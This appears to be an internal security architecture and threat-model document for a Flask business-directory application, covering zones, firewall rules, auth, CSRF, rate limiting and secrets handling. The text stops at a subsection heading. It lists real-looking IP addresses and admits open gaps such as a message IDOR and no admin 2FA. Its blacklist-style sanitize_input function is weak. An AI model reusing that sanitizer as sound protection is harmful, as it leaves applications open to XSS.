# Security Architecture

**Document Version:** 1.0
**Last Updated:** 2026-01-10
**Status:** Production LIVE
**Diagram Type:** Security Architecture / Threat Model

---

## Overview

This document provides a **comprehensive security architecture** for the Norda Biznes Partner application, covering:

- **Security Zones** and trust boundaries
- **Authentication & Authorization** mechanisms
- **Security Controls** (CSRF, rate limiting, input validation, etc.)
- **Threat Model** and attack surface analysis
- **Data Security** (encryption, sensitive data handling)
- **API Security** (external API integrations, API key management)
- **Infrastructure Security** (network, firewall, SSH access)
- **Security Monitoring** and incident response
- **Security Best Practices** and compliance

**Abstraction Level:** Security Architecture
**Audience:** Security Engineers, DevOps, Developers, System Administrators
**Purpose:** Understanding security boundaries, threat model, security controls, compliance verification

**Related Documentation:**
- [Authentication Flow](flows/01-authentication-flow.md) - Detailed authentication flow diagrams and implementation
- [Network Topology](07-network-topology.md) - Network zones and firewall rules
- [Container Diagram](02-container-diagram.md) - Application security boundaries
- [Critical Configurations](08-critical-configurations.md) - SSL/TLS, secrets management

---

## Table of Contents

1. [Security Zones & Trust Boundaries](#1-security-zones--trust-boundaries)
2. [Authentication Architecture](#2-authentication-architecture)
3. [Authorization Model](#3-authorization-model)
4. [Security Controls](#4-security-controls)
5. [Threat Model & Attack Surface](#5-threat-model--attack-surface)
6. [Data Security](#6-data-security)
7. [API Security](#7-api-security)
8. [Infrastructure Security](#8-infrastructure-security)
9. [Security Monitoring](#9-security-monitoring)
10. [Incident Response](#10-incident-response)
11. [Compliance & Best Practices](#11-compliance--best-practices)
12. [Security Roadmap](#12-security-roadmap)

---

## 1. Security Zones & Trust Boundaries

### 1.1 Security Zones Diagram

```mermaid
graph TB
    subgraph "Zone 0: Public Internet (UNTRUSTED)"
        Internet["🌐 Public Internet<br/><br/>Trust Level: NONE<br/>Access: Anonymous users<br/>Threat Level: HIGH<br/><br/>Threats:<br/>• DDoS attacks<br/>• SQL injection<br/>• XSS attacks<br/>• CSRF attacks<br/>• Brute force<br/>• Bot traffic"]
    end

    subgraph "Zone 1: Network Perimeter (SECURITY BOUNDARY)"
        Fortigate["🛡️ FORTIGATE FIREWALL<br/><br/>Trust Level: BOUNDARY<br/>Controls:<br/>• NAT (85.237.177.83 → 10.22.68.250)<br/>• Port filtering (443, 80, 22)<br/>• Stateful inspection<br/>• DDoS protection<br/>• Intrusion prevention<br/><br/>Default Policy: DENY ALL"]
    end

    subgraph "Zone 2: DMZ - Reverse Proxy (SEMI-TRUSTED)"
        DMZ["🖥️ NPM REVERSE PROXY<br/>IP: 10.22.68.250<br/><br/>Trust Level: LOW<br/>Controls:<br/>• SSL/TLS termination<br/>• HTTP → HTTPS redirect<br/>• Let's Encrypt certificates<br/>• Request filtering (block exploits)<br/>• WebSocket upgrade control<br/>• HSTS enforcement<br/><br/>Exposed Ports: 443, 80, 81 (admin)<br/>Allowed Outbound: App Zone only"]
    end

    subgraph "Zone 3: Application Zone (TRUSTED)"
        AppZone["🖥️ APPLICATION SERVER<br/>IP: 10.22.68.249<br/><br/>Trust Level: MEDIUM<br/>Controls:<br/>• Flask-Login authentication<br/>• CSRF protection (Flask-WTF)<br/>• Rate limiting (Flask-Limiter)<br/>• Input sanitization<br/>• XSS prevention<br/>• SQL injection prevention (SQLAlchemy ORM)<br/>• Session security (secure cookies)<br/><br/>Exposed Ports: 5000 (internal), 22 (SSH)<br/>Allowed Outbound: Internet (APIs), Data Zone"]
    end

    subgraph "Zone 4: Data Zone (HIGHLY TRUSTED)"
        DataZone["🗄️ DATABASE SERVER<br/>IP: 10.22.68.249:5432<br/><br/>Trust Level: HIGH<br/>Controls:<br/>• PostgreSQL authentication<br/>• Localhost-only binding (127.0.0.1)<br/>• Role-based access control<br/>• Connection encryption (SSL/TLS)<br/>• pg_hba.conf restrictions<br/>• Database user separation<br/><br/>Exposed Ports: 5432 (localhost only)<br/>Allowed Connections: Application Zone only"]
    end

    subgraph "Zone 5: External APIs (THIRD-PARTY)"
        APIs["☁️ EXTERNAL APIs<br/><br/>Trust Level: THIRD-PARTY<br/>Services:<br/>• Google Gemini AI<br/>• Google PageSpeed Insights<br/>• Google Places API<br/>• Microsoft Graph API<br/>• Brave Search API<br/>• KRS Open API<br/><br/>Controls:<br/>• API key authentication<br/>• OAuth 2.0 (MS Graph)<br/>• HTTPS/TLS 1.2+ only<br/>• Rate limiting (client-side)<br/>• API key rotation<br/>• Cost tracking"]
    end

    Internet -->|"HTTPS :443<br/>HTTP :80"| Fortigate
    Fortigate -->|"NAT + Filter<br/>Allow: 443, 80"| DMZ
    DMZ -->|"HTTP :5000<br/>(internal network)"| AppZone
    AppZone -->|"PostgreSQL :5432<br/>(localhost)"| DataZone
    AppZone -->|"HTTPS<br/>(API requests)"| APIs

    style Internet fill:#ff6b6b,color:#fff
    style Fortigate fill:#f59e0b,color:#fff
    style DMZ fill:#fbbf24,color:#000
    style AppZone fill:#10b981,color:#fff
    style DataZone fill:#3b82f6,color:#fff
    style APIs fill:#8b5cf6,color:#fff
```

### 1.2 Trust Boundaries

| Boundary | Between Zones | Security Controls | Threat Mitigation |
|----------|---------------|-------------------|-------------------|
| **External → Perimeter** | Internet → Fortigate | NAT, port filtering, stateful firewall | DDoS, port scanning, unauthorized access |
| **Perimeter → DMZ** | Fortigate → NPM | Port restrictions (443, 80), SSL enforcement | Man-in-the-middle, protocol attacks |
| **DMZ → Application** | NPM → Flask | Internal network isolation, port 5000 only | Lateral movement, privilege escalation |
| **Application → Data** | Flask → PostgreSQL | Localhost-only binding, role-based access | SQL injection, unauthorized data access |
| **Application → Internet** | Flask → External APIs | HTTPS/TLS, API key authentication, rate limiting | API key theft, cost overrun, data leakage |

### 1.3 Network Segmentation

**Physical Segmentation:**
- **10.22.68.0/24** - Internal INPI network (RFC 1918 private addressing)
- **85.237.177.83** - Public IP (NAT at Fortigate)

**Logical Segmentation:**
- **DMZ:** 10.22.68.250 (reverse proxy only)
- **Application:** 10.22.68.249 (Flask app, no direct Internet access for incoming)
- **Data:** 10.22.68.249:5432 (localhost binding, no network exposure)

**Firewall Rules (Fortigate):**
```
# Inbound (WAN → LAN)
allow tcp/443 from ANY to 10.22.68.250  # HTTPS to NPM
allow tcp/80 from ANY to 10.22.68.250   # HTTP to NPM (redirects to HTTPS)
allow tcp/22 from ADMIN_NET to 10.22.68.249  # SSH (admin only)
deny all from ANY to ANY                # Default deny

# Outbound (LAN → WAN)
allow tcp/443 from 10.22.68.249 to ANY  # API calls (HTTPS)
allow tcp/80 from 10.22.68.249 to ANY   # HTTP (rare, redirects)
deny all from 10.22.68.250 to ANY       # NPM cannot initiate outbound (except Let's Encrypt)
```

### 1.4 Attack Surface

**External Attack Surface (Internet-facing):**
- NPM reverse proxy (10.22.68.250:443, :80)
- Public endpoints: `/`, `/search`, `/company/<slug>`, `/audit/*`
- Authentication endpoints: `/register`, `/login`, `/forgot-password`

**Internal Attack Surface (Authenticated users):**
- User dashboard: `/dashboard`, `/chat`, `/forum/*`, `/wiadomosci/*`
- API endpoints: `/api/chat/*`, `/api/notifications/*`

**Admin Attack Surface (Admin users only):**
- Admin panels: `/admin/*` (15+ panels)
- Audit management: `/api/seo/audit`, `/api/gbp/audit`, `/api/social/audit`

**Reduced Attack Surface:**
- PostgreSQL: Localhost-only binding (no network exposure)
- SSH: Restricted to admin network (firewall rule)
- NPM Admin UI: Port 81 (internal network only)

---

## 2. Authentication Architecture

### 2.1 Authentication Overview

**Framework:** Flask-Login
**Password Hashing:** PBKDF2:SHA256 (werkzeug.security)
**Session Storage:** Server-side session cookies
**Email Verification:** Required before login
**Email Delivery:** Microsoft Graph API (OAuth 2.0)

> **NOTE:** For detailed authentication flows (registration, login, email verification, password reset, session management), see:
> [Authentication Flow Documentation](flows/01-authentication-flow.md)

### 2.2 Authentication Security Architecture

```mermaid
graph TB
    subgraph "Authentication Layer"
        User["👤 User"]
        Browser["🌐 Browser"]

        subgraph "Flask Authentication Stack"
            FlaskLogin["Flask-Login<br/>(Session Management)"]
            CSRF["Flask-WTF<br/>(CSRF Protection)"]
            RateLimit["Flask-Limiter<br/>(Rate Limiting)"]
            Sanitize["Input Sanitization<br/>(XSS Prevention)"]
        end

        subgraph "User Model & Database"
            UserModel["User Model<br/>(SQLAlchemy)"]
            PostgreSQL["PostgreSQL<br/>(users table)"]
        end

        subgraph "Password Security"
            Hash["Password Hashing<br/>(PBKDF2:SHA256)"]
            TokenGen["Token Generation<br/>(secrets.token_urlsafe)"]
        end

        subgraph "Email Verification"
            EmailService["Email Service<br/>(email_service.py)"]
            MSGraph["Microsoft Graph API<br/>(OAuth 2.0)"]
        end
    end

    User -->|"Login Request"| Browser
    Browser -->|"POST /login"| CSRF
    CSRF -->|"CSRF Valid"| RateLimit
    RateLimit -->|"Rate OK"| Sanitize
    Sanitize -->|"Sanitized Input"| FlaskLogin
    FlaskLogin -->|"Query User"| UserModel
    UserModel -->|"SELECT * FROM users"| PostgreSQL
    PostgreSQL -->|"User Data"| Hash
    Hash -->|"check_password_hash()"| FlaskLogin
    FlaskLogin -->|"login_user()"| Browser

    Browser -->|"POST /register"| TokenGen
    TokenGen -->|"Generate Token"| PostgreSQL
    PostgreSQL -->|"User Created"| EmailService
    EmailService -->|"Send Email (OAuth)"| MSGraph

    style CSRF fill:#f59e0b,color:#fff
    style RateLimit fill:#f59e0b,color:#fff
    style Sanitize fill:#f59e0b,color:#fff
    style Hash fill:#3b82f6,color:#fff
    style TokenGen fill:#3b82f6,color:#fff
```

### 2.3 Session Security

**Session Configuration:**
```python
# app.py session settings
app.config['SECRET_KEY'] = os.getenv('SECRET_KEY')  # 256-bit secret
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
app.config['SESSION_COOKIE_SECURE'] = True  # HTTPS only
app.config['SESSION_COOKIE_HTTPONLY'] = True  # No JS access
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'  # CSRF protection
```

**Session Cookie Attributes:**
- **Name:** `session` (Flask default)
- **Secure:** True (HTTPS only in production)
- **HttpOnly:** True (prevents XSS cookie theft)
- **SameSite:** Lax (CSRF protection)
- **Max-Age:** 7 days (with "remember me")
- **Signed:** Yes (HMAC with SECRET_KEY)
- **Encrypted:** Yes (Flask built-in)

**Session Lifecycle:**
1. **Creation:** On successful login (`login_user()`)
2. **Validation:** On every request (`@login_required`)
3. **Regeneration:** On login (prevents session fixation)
4. **Expiration:** After 7 days or on logout
5. **Destruction:** On logout (`logout_user()`)

**Session Security Features:**
- Session fixation prevention (regenerate session ID on login)
- CSRF protection via Flask-WTF (automatic token generation)
- Secure cookie attributes (HttpOnly, Secure, SameSite)
- Server-side session storage (encrypted data)
- Automatic session cleanup (expired sessions removed)

### 2.4 Password Security

**Password Requirements:**
- Minimum 8 characters
- At least 1 uppercase letter
- At least 1 lowercase letter
- At least 1 digit

**Password Hashing:**
- **Algorithm:** PBKDF2:SHA256 (werkzeug.security default)
- **Iterations:** 600,000+ (werkzeug 3.0+ default)
- **Salt:** Automatic (random salt per password)
- **Hash Storage:** `users.password_hash` column (VARCHAR 255)

**Password Reset Flow:**
- Reset tokens: 256-bit entropy (`secrets.token_urlsafe(32)`)
- Token expiry: 1 hour
- Single-use tokens (cleared after successful reset)
- Email enumeration prevention (always show success message)

**Password Best Practices:**
- ✅ Strong hashing algorithm (PBKDF2:SHA256)
- ✅ Password complexity requirements
- ✅ Secure token generation
- ✅ Token expiry enforcement
- ❌ Password history (not implemented)
- ❌ Account lockout after N failed attempts (not implemented)

---

## 3. Authorization Model

### 3.1 Role-Based Access Control (RBAC)

```mermaid
graph TB
    subgraph "Authorization Hierarchy"
        Public["🌐 Public<br/>Anonymous Users<br/><br/>Permissions:<br/>• View company directory<br/>• Search companies<br/>• View audit reports<br/>• Access registration/login"]

        Auth["🔐 Authenticated<br/>Logged-in Users<br/><br/>Permissions:<br/>• All Public permissions<br/>• Access dashboard<br/>• Use AI chat<br/>• Participate in forum<br/>• Send/receive messages<br/>• RSVP to events<br/>• Post classifieds"]

        Member["👔 NORDA Members<br/>is_norda_member=TRUE<br/><br/>Permissions:<br/>• All Authenticated permissions<br/>• Company profile editing (own)<br/>• Request recommendations<br/>• View member directory<br/>• Access member-only content"]

        Admin["👨‍💼 Administrators<br/>is_admin=TRUE<br/><br/>Permissions:<br/>• All Member permissions<br/>• Manage all companies<br/>• Moderate forum/news<br/>• Manage users<br/>• Run audit scans<br/>• View analytics<br/>• Generate fees<br/>• System configuration"]
    end

    Public --> Auth
    Auth --> Member
    Member --> Admin

    style Public fill:#9ca3af,color:#fff
    style Auth fill:#10b981,color:#fff
    style Member fill:#3b82f6,color:#fff
    style Admin fill:#8b5cf6,color:#fff
```

### 3.2 User Roles & Flags

**User Model Fields:**
```sql
is_active BOOLEAN DEFAULT TRUE        -- User account status
is_verified BOOLEAN DEFAULT FALSE     -- Email verification status
is_admin BOOLEAN DEFAULT FALSE        -- Administrator flag
is_norda_member BOOLEAN DEFAULT FALSE -- NORDA Biznes membership
```

**Role Determination Logic:**
```python
# Public access - no check required

# Authenticated access
@login_required
def protected_route():
    # current_user is automatically available via Flask-Login
    pass

# NORDA Member access
@login_required
def member_route():
    if not current_user.is_norda_member:
        flash('Tylko dla członków NORDA Biznes.', 'error')
        return redirect(url_for('index'))
    pass

# Admin access
@login_required
def admin_route():
    if not current_user.is_admin:
        flash('Brak uprawnień administratora.', 'error')
        return redirect(url_for('index'))
    pass
```

### 3.3 Access Control Matrix

| Route Category | Public | Authenticated | NORDA Member | Admin |
|---------------|--------|---------------|--------------|-------|
| **Public Pages** | | | | |
| `/` (Company directory) | ✅ | ✅ | ✅ | ✅ |
| `/search` | ✅ | ✅ | ✅ | ✅ |
| `/company/<slug>` | ✅ | ✅ | ✅ | ✅ |
| `/audit/*/<slug>` (SEO, Social, GBP, IT) | ✅ | ✅ | ✅ | ✅ |
| `/api/companies` (JSON export) | ✅ | ✅ | ✅ | ✅ |
| `/health` (Health check) | ✅ | ✅ | ✅ | ✅ |
| **Authentication** | | | | |
| `/register`, `/login` | ✅ | ❌ | ❌ | ❌ |
| `/logout` | ❌ | ✅ | ✅ | ✅ |
| `/verify-email/<token>` | ✅ | ✅ | ✅ | ✅ |
| `/forgot-password`, `/reset-password/<token>` | ✅ | ✅ | ✅ | ✅ |
| **User Features** | | | | |
| `/dashboard` | ❌ | ✅ | ✅ | ✅ |
| `/chat` | ❌ | ✅ | ✅ | ✅ |
| `/api/chat/*` | ❌ | ✅ | ✅ | ✅ |
| **Community Features** | | | | |
| `/forum/*` | ❌ | ✅ | ✅ | ✅ |
| `/wiadomosci/*` (Messages) | ❌ | ✅ | ✅ | ✅ |
| `/kalendarz/*` (Events) | ❌ | ✅ | ✅ | ✅ |
| `/tablica/*` (Classifieds) | ❌ | ✅ | ✅ | ✅ |
| **Admin Panels** | | | | |
| `/admin/*` (All admin routes) | ❌ | ❌ | ❌ | ✅ |
| `/admin/users` (User management) | ❌ | ❌ | ❌ | ✅ |
| `/admin/fees` (Fee management) | ❌ | ❌ | ❌ | ✅ |
| `/admin/forum` (Forum moderation) | ❌ | ❌ | ❌ | ✅ |
| `/admin/seo` (SEO dashboard) | ❌ | ❌ | ❌ | ✅ |
| `/admin/gbp-audit` (GBP dashboard) | ❌ | ❌ | ❌ | ✅ |
| `/admin/social-media` (Social dashboard) | ❌ | ❌ | ❌ | ✅ |
| `/admin/it-audit` (IT dashboard) | ❌ | ❌ | ❌ | ✅ |
| **Admin API Endpoints** | | | | |
| `/api/seo/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
| `/api/gbp/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
| `/api/social/audit` (POST) | ❌ | ❌ | ❌ | ✅ |
| `/api/notifications` (GET) | ❌ | ✅ | ✅ | ✅ |
| `/api/notifications/<id>/read` (PUT) | ❌ | ✅ | ✅ | ✅ |

**Legend:**
- ✅ Access granted
- ❌ Access denied (redirect to login or show error)

### 3.4 Authorization Enforcement

**Decorator-based Protection:**
```python
# Flask-Login decorator for authenticated routes
@app.route('/dashboard')
@login_required
def dashboard():
    # current_user is guaranteed to be authenticated
    return render_template('dashboard.html', user=current_user)
```

**Manual Authorization Checks:**
```python
# Admin-only check
@app.route('/admin/users')
@login_required
def admin_users():
    if not current_user.is_admin:
        flash('Brak uprawnień administratora.', 'error')
        return redirect(url_for('index'))

    # Admin logic here
    users = db.query(User).all()
    return render_template('admin/users.html', users=users)
```

**Row-Level Security (Planned):**
- Company owners can edit only their own company profile
- Forum authors can edit/delete only their own posts
- Message senders/receivers can view only their own messages

**Current Limitations:**
- ❌ No granular permissions (e.g., "can_edit_company", "can_moderate_forum")
- ❌ No role hierarchy (custom roles beyond Admin/Member)
- ❌ No permission delegation (temporary admin access)

---

## 4. Security Controls

### 4.1 Security Controls Overview

```mermaid
graph LR
    subgraph "Input Security"
        Input["User Input"]
        Sanitize["Input Sanitization<br/>(sanitize_input)"]
        Validate["Input Validation<br/>(length, format, type)"]
    end

    subgraph "Request Security"
        CSRF["CSRF Protection<br/>(Flask-WTF)"]
        RateLimit["Rate Limiting<br/>(Flask-Limiter)"]
        Auth["Authentication<br/>(Flask-Login)"]
    end

    subgraph "Response Security"
        XSS["XSS Prevention<br/>(Jinja2 auto-escape)"]
        Headers["Security Headers<br/>(HSTS, CSP, X-Frame)"]
        SSL["SSL/TLS Encryption<br/>(HTTPS)"]
    end

    subgraph "Data Security"
        SQLInj["SQL Injection Prevention<br/>(SQLAlchemy ORM)"]
        PassHash["Password Hashing<br/>(PBKDF2:SHA256)"]
        Secrets["Secrets Management<br/>(.env files)"]
    end

    Input --> Sanitize
    Sanitize --> Validate
    Validate --> CSRF
    CSRF --> RateLimit
    RateLimit --> Auth
    Auth --> XSS
    XSS --> Headers
    Headers --> SSL

    Auth --> SQLInj
    SQLInj --> PassHash
    PassHash --> Secrets

    style Sanitize fill:#f59e0b,color:#fff
    style CSRF fill:#f59e0b,color:#fff
    style RateLimit fill:#f59e0b,color:#fff
    style XSS fill:#f59e0b,color:#fff
    style SQLInj fill:#3b82f6,color:#fff
    style PassHash fill:#3b82f6,color:#fff
```

### 4.2 Input Security

#### 4.2.1 Input Sanitization

**Function:** `sanitize_input(text, max_length=1000)`
**Purpose:** Remove HTML tags, malicious patterns, excessive whitespace
**Implementation:** `app.py` (lines ~300-320)

```python
def sanitize_input(text, max_length=1000):
    """Remove HTML tags and malicious patterns from user input"""
    if not text:
        return ""

    # Remove HTML tags
    text = re.sub(r'<[^>]+>', '', text)

    # Remove script tags and content
    text = re.sub(r'<script[^>]*>.*?</script>', '', text, flags=re.IGNORECASE | re.DOTALL)

    # Remove event handlers (onclick, onerror, etc.)
    text = re.sub(r'\s*on\w+\s*=\s*["\'][^"\']*["\']', '', text, flags=re.IGNORECASE)

    # Remove javascript: URLs
    text = re.sub(r'javascript:', '', text, flags=re.IGNORECASE)

    # Normalize whitespace
    text = ' '.join(text.split())

    # Truncate to max length
    return text[:max_length]
```

**Applied to:**
- All form inputs (registration, login, forum posts, messages, classifieds)
- Search queries
- Chat messages
- Admin inputs

**XSS Prevention:**
- Jinja2 automatic escaping (enabled by default)
- Manual escaping for user-generated content: `{{ user_input|e }}`
- Sanitization before database storage (defense in depth)

#### 4.2.2 Input Validation

**Email Validation:**
```python
def validate_email(email):
    """Validate email format"""
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    return re.match(pattern, email) is not None
```

**Password Validation:**
```python
def validate_password(password):
    """Validate password complexity"""
    if len(password) < 8:
        return False, "Hasło musi mieć minimum 8 znaków"

    if not re.search(r'[A-Z]', password):
        return False, "Hasło musi zawierać wielką literę"

    if not re.search(r'[a-z]', password):
        return False, "Hasło musi zawierać małą literę"

    if not re.search(r'\d', password):
        return False, "Hasło musi zawierać cyfrę"

    return True, ""
```

**NIP Validation:**
```python
def validate_nip(nip):
    """Validate Polish NIP format (10 digits)"""
    if not nip:
        return False

    nip = nip.replace('-', '').replace(' ', '')
    return len(nip) == 10 and nip.isdigit()
```

**Input Length Limits:**
- Email: 255 characters
- Password: 255 characters (hash stored)
- Name: 255 characters
- Phone: 50 characters
- Message body: 5,000 characters
- Forum post: 10,000 characters
- Chat message: 1,000 characters

### 4.3 Request Security

#### 4.3.1 CSRF Protection

**Framework:** Flask-WTF
**Implementation:** Automatic CSRF token generation and validation

**Configuration:**
```python
# app.py CSRF setup
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)
app.config['WTF_CSRF_ENABLED'] = True
app.config['WTF_CSRF_TIME_LIMIT'] = None  # No time limit (session-based)
```

**Usage in Templates:**
```html
<form method="POST">
    {{ csrf_token() }}  <!-- Automatic token injection -->
    <input type="email" name="email" required>
    <button type="submit">Submit</button>
</form>
```

**AJAX Requests:**
```javascript
// Get CSRF token from meta tag
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

// Include in AJAX request headers
fetch('/api/endpoint', {
    method: 'POST',
    headers: {
        'X-CSRFToken': csrfToken,
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
});
```

**CSRF Protection Coverage:**
- ✅ All POST/PUT/DELETE requests
- ✅ Form submissions
- ✅ AJAX API calls
- ❌ GET requests (idempotent, no CSRF protection needed)

#### 4.3.2 Rate Limiting

**Framework:** Flask-Limiter
**Strategy:** IP-based rate limiting

**Configuration:**
```python
# app.py rate limiting setup
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"],
    storage_uri="memory://"  # In-memory storage (single server)
)
```

**Rate Limits by Endpoint:**

| Endpoint | Rate Limit | Purpose |
|----------|------------|---------|
| `/register` | 5 per hour | Prevent account spam |
| `/login` | 5 per hour (prod)<br/>1000 per hour (dev) | Prevent brute force |
| `/forgot-password` | 5 per hour | Prevent email spam |
| `/api/chat/<id>/message` | 30 per minute | Prevent chat spam |
| `/api/seo/audit` | 10 per hour | Prevent quota abuse |
| `/api/gbp/audit` | 10 per hour | Prevent quota abuse |
| `/api/social/audit` | 10 per hour | Prevent quota abuse |
| Default | 200 per day, 50 per hour | General protection |

**Rate Limit Bypass:**
- No bypass mechanism (applies to all users, including admins)
- Future improvement: Whitelist admin IPs

**Error Handling:**
```python
@app.errorhandler(429)
def ratelimit_handler(e):
    flash('Zbyt wiele żądań. Spróbuj ponownie później.', 'error')
    return render_template('error.html', error=e), 429
```

### 4.4 Response Security

#### 4.4.1 Security Headers

**HTTP Security Headers (Configured in NPM):**

```
# HSTS (HTTP Strict Transport Security)
Strict-Transport-Security: max-age=31536000; includeSubDomains

# Prevent clickjacking
X-Frame-Options: SAMEORIGIN

# XSS Protection (legacy browsers)
X-XSS-Protection: 1; mode=block

# Content-Type sniffing prevention
X-Content-Type-Options: nosniff

# Referrer Policy
Referrer-Policy: strict-origin-when-cross-origin

# Content Security Policy (CSP) - PLANNED
# Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';
```

**Current Status:**
- ✅ HSTS enabled (NPM configuration)
- ✅ X-Frame-Options: SAMEORIGIN
- ✅ X-Content-Type-Options: nosniff
- ❌ Content-Security-Policy (not yet implemented - requires frontend refactoring)

#### 4.4.2 SSL/TLS Encryption

**Configuration:**
- **Certificate Provider:** Let's Encrypt (free, auto-renewal)
- **Certificate Type:** RSA 2048-bit
- **TLS Protocols:** TLS 1.2, TLS 1.3 only
- **HTTP → HTTPS Redirect:** Enforced at NPM
- **HSTS:** Enabled (max-age=31536000)

**Cipher Suites (Modern):**
```
TLS_AES_128_GCM_SHA256
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
ECDHE-RSA-AES128-GCM-SHA256
ECDHE-RSA-AES256-GCM-SHA384
```

**SSL Termination:** At NPM reverse proxy (10.22.68.250)
**Internal Communication:** HTTP (10.22.68.250 → 10.22.68.249:5000)

**Certificate Renewal:**
- Automatic via NPM + Let's Encrypt
- Renewal frequency: Every 90 days
- Grace period: 30 days before expiry

### 4.5 Data Security

#### 4.5.1 SQL Injection Prevention

**ORM Usage:** SQLAlchemy (parameterized queries)

**Safe Query Patterns:**
```python
# ✅ SAFE: Parameterized query (SQLAlchemy ORM)
user = db.query(User).filter(User.email == email).first()

# ✅ SAFE: Parameterized raw SQL
db.execute(text("SELECT * FROM users WHERE email = :email"), {"email": email})

# ❌ UNSAFE: String concatenation (NEVER USE)
# db.execute(f"SELECT * FROM users WHERE email = '{email}'")
```

**Full-Text Search (PostgreSQL):**
```python
# ✅ SAFE: FTS with plainto_tsquery (auto-escaping)
query = text("""
    SELECT c.*, ts_rank(c.search_vector, plainto_tsquery('english', :query)) AS rank
    FROM companies c
    WHERE c.search_vector @@ plainto_tsquery('english', :query)
    ORDER BY rank DESC
""")
results = db.execute(query, {"query": search_term}).fetchall()
```

**No Raw SQL Concatenation:**
- All queries use parameterized placeholders (`:param_name`)
- SQLAlchemy ORM handles escaping automatically
- Full-text search uses `plainto_tsquery()` (auto-escapes special characters)

#### 4.5.2 Password Storage

**Hashing Algorithm:** PBKDF2:SHA256
**Library:** `werkzeug.security`
**Iterations:** 600,000+ (werkzeug 3.0+ default)
**Salt:** Automatic random salt per password

**Implementation:**
```python
from werkzeug.security import generate_password_hash, check_password_hash

# Registration: Hash password
password_hash = generate_password_hash(password)  # Auto-salted

# Login: Verify password
if check_password_hash(user.password_hash, password):
    # Password correct
    login_user(user)
```

**Hash Format:**
```
pbkdf2:sha256:600000$<salt>$<hash>
```

**Security Properties:**
- ✅ Salted (prevents rainbow table attacks)
- ✅ Slow hashing (prevents brute force)
- ✅ Industry-standard algorithm (PBKDF2)
- ✅ Automatic algorithm upgrades (werkzeug handles)

#### 4.5.3 Secrets Management

**Environment Variables (.env):**
```bash
# Database
DATABASE_URL=postgresql://nordabiz_app:PASSWORD@127.0.0.1:5432/nordabiz

# Flask
SECRET_KEY=<256-bit-random-key>

# API Keys
GOOGLE_GEMINI_API_KEY=<key>
GOOGLE_PAGESPEED_API_KEY=<key>
BRAVE_SEARCH_API_KEY=<key>

# Microsoft Graph OAuth
MS_CLIENT_ID=<client-id>
MS_CLIENT_SECRET=<client-secret>
MS_TENANT_ID=<tenant-id>

# Email
SMTP_HOST=smtp.office365.com
SMTP_PORT=587
SMTP_USER=noreply@nordabiznes.pl
SMTP_PASSWORD=<password>
```

**Secrets Storage:**
- **Development:** `.env` file (gitignored)
- **Production:** `.env` file on server (owned by www-data, mode 600)
- **Never committed to Git:** `.env` in `.gitignore`

**Secret Rotation:**
- ❌ No automatic rotation (manual process)
- ❌ No secret versioning (future improvement)

**Access Control:**
```bash
# Production secrets file permissions
-rw------- 1 www-data www-data  .env  # Mode 600 (owner read/write only)
```

---

## 5. Threat Model & Attack Surface

### 5.1 Threat Model (STRIDE)

| Threat Type | Attack Vector | Impact | Mitigation | Status |
|-------------|---------------|--------|------------|--------|
| **Spoofing** | User impersonation, session hijacking | High | HTTPS, secure cookies, session regeneration | ✅ Mitigated |
| **Tampering** | SQL injection, XSS, CSRF | High | SQLAlchemy ORM, input sanitization, CSRF tokens | ✅ Mitigated |
| **Repudiation** | User denies actions | Medium | Database audit logs (created_at, updated_at) | ⚠️ Partial |
| **Information Disclosure** | API key theft, database breach, session theft | High | HTTPS, .env files, localhost DB binding | ✅ Mitigated |
| **Denial of Service** | DDoS, resource exhaustion, API quota abuse | Medium | Rate limiting, Fortigate DDoS protection | ⚠️ Partial |
| **Elevation of Privilege** | Admin privilege escalation | High | Role-based access control, admin flag validation | ✅ Mitigated |

### 5.2 Attack Surface Analysis

#### 5.2.1 External Attack Surface (Internet-facing)

**NPM Reverse Proxy (10.22.68.250:443, :80):**
- **Exposed Services:** HTTPS (443), HTTP (80, redirects to HTTPS)
- **Attack Vectors:**
  - DDoS attacks (mitigated by Fortigate)
  - SSL/TLS vulnerabilities (mitigated by modern cipher suites)
  - HTTP request smuggling (mitigated by NPM validation)
- **Mitigation:**
  - Fortigate stateful firewall + DDoS protection
  - Let's Encrypt TLS 1.2/1.3 only
  - NPM request filtering ("block exploits" enabled)

**Public Endpoints:**
- `/` (Company directory)
- `/search` (Search functionality)
- `/company/<slug>` (Company profiles)
- `/audit/*/<slug>` (SEO, Social, GBP, IT audit reports)
- `/register`, `/login`, `/forgot-password` (Authentication)

**Attack Vectors:**
- SQL injection: **Mitigated** (SQLAlchemy ORM)
- XSS: **Mitigated** (input sanitization, Jinja2 auto-escape)
- CSRF: **Mitigated** (Flask-WTF)
- Brute force: **Mitigated** (rate limiting 5/hour)
- Account enumeration: **Partially mitigated** (generic error messages)

#### 5.2.2 Internal Attack Surface (Authenticated Users)

**User Dashboard & Features:**
- `/dashboard`, `/chat`, `/forum/*`, `/wiadomosci/*`, `/kalendarz/*`, `/tablica/*`

**Attack Vectors:**
- Privilege escalation: **Mitigated** (admin flag validation)
- IDOR (Insecure Direct Object Reference): **Partially mitigated** (owner checks needed)
- Session hijacking: **Mitigated** (secure cookies, HTTPS)

**Vulnerabilities:**
- ❌ No row-level security (users can view other users' messages if they know the ID)
- ❌ No rate limiting on message sending
- ❌ No spam detection on forum posts

#### 5.2.3 Admin Attack Surface (Admin Users)

**Admin Panels:**
- `/admin/*` (15+ admin panels)
- `/api/seo/audit`, `/api/gbp/audit`, `/api/social/audit` (POST)

**Attack Vectors:**
- Admin account compromise: **Mitigated** (strong password requirements)
- API quota abuse: **Mitigated** (rate limiting 10/hour)
- Cost overrun: **Mitigated** (client-side cost tracking, free tier monitoring)

**Vulnerabilities:**
- ❌ No 2FA for admin accounts
- ❌ No admin activity logging
- ❌ No admin session timeout (7-day session)

#### 5.2.4 Database Attack Surface

